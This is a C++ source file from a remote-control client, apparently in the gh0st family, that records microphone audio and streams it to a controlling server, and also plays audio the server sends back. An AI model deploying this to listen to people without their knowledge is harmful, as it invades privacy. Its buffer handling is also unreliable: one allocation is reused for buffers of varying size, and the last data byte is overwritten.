Files
SimpleRemoter/client/AudioManager.cpp
2025-03-15 04:12:33 +08:00

134 lines
2.7 KiB
C++

// AudioManager.cpp: implementation of the CAudioManager class.
//
//////////////////////////////////////////////////////////////////////
#include "stdafx.h"
#include "AudioManager.h"
#include "Common.h"
#include <Mmsystem.h>
#include <IOSTREAM>
using namespace std;
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////
CAudioManager::CAudioManager(IOCPClient* ClientObject, int n, void* user):CManager(ClientObject)
{
Mprintf("new CAudioManager %p\n", this);
m_bIsWorking = FALSE;
m_AudioObject = NULL;
if (Initialize()==FALSE)
{
return;
}
BYTE bToken = TOKEN_AUDIO_START;
m_ClientObject->OnServerSending((char*)&bToken, 1);
WaitForDialogOpen(); //等待对话框打开
szPacket = NULL;
m_hWorkThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread,
(LPVOID)this, 0, NULL);
}
VOID CAudioManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
switch(szBuffer[0])
{
case COMMAND_NEXT:
{
if (1 == ulLength)
NotifyDialogIsOpen();
break;
}
default:
{
m_AudioObject->PlayBuffer(szBuffer, ulLength);
break;
}
}
}
DWORD CAudioManager::WorkThread(LPVOID lParam) //发送声音到服务端
{
CAudioManager *This = (CAudioManager *)lParam;
while (This->m_bIsWorking)
{
if(!This->SendRecordBuffer())
Sleep(50);
}
Mprintf("CAudioManager WorkThread end\n");
return 0;
}
BOOL CAudioManager::SendRecordBuffer()
{
DWORD dwBufferSize = 0;
BOOL dwReturn = 0;
//这里得到 音频数据
LPBYTE szBuffer = m_AudioObject->GetRecordBuffer(&dwBufferSize);
if (szBuffer == NULL)
return 0;
//分配缓冲区
szPacket = szPacket ? szPacket : new BYTE[dwBufferSize + 1];
//加入数据头
szPacket[0] = TOKEN_AUDIO_DATA; //向主控端发送该消息
//复制缓冲区
memcpy(szPacket + 1, szBuffer, dwBufferSize);
szPacket[dwBufferSize] = 0;
//发送出去
if (dwBufferSize > 0)
{
dwReturn = m_ClientObject->OnServerSending((char*)szPacket, dwBufferSize + 1);
}
return dwReturn;
}
CAudioManager::~CAudioManager()
{
m_bIsWorking = FALSE; //设定工作状态为假
WaitForSingleObject(m_hWorkThread, INFINITE); //等待 工作线程结束
if (m_hWorkThread)
CloseHandle(m_hWorkThread);
if (m_AudioObject!=NULL)
{
delete m_AudioObject;
m_AudioObject = NULL;
}
if (szPacket)
{
delete [] szPacket;
szPacket = NULL;
}
Mprintf("~CAudioManager %p\n", this);
}
//USB
BOOL CAudioManager::Initialize()
{
if (!waveInGetNumDevs()) //获取波形输入设备的数目 实际就是看看有没有声卡
return FALSE;
// SYS SYS P
// 正在使用中.. 防止重复使用
if (m_bIsWorking==TRUE)
{
return FALSE;
}
m_AudioObject = new CAudio; //功能类
m_bIsWorking = TRUE;
return TRUE;
}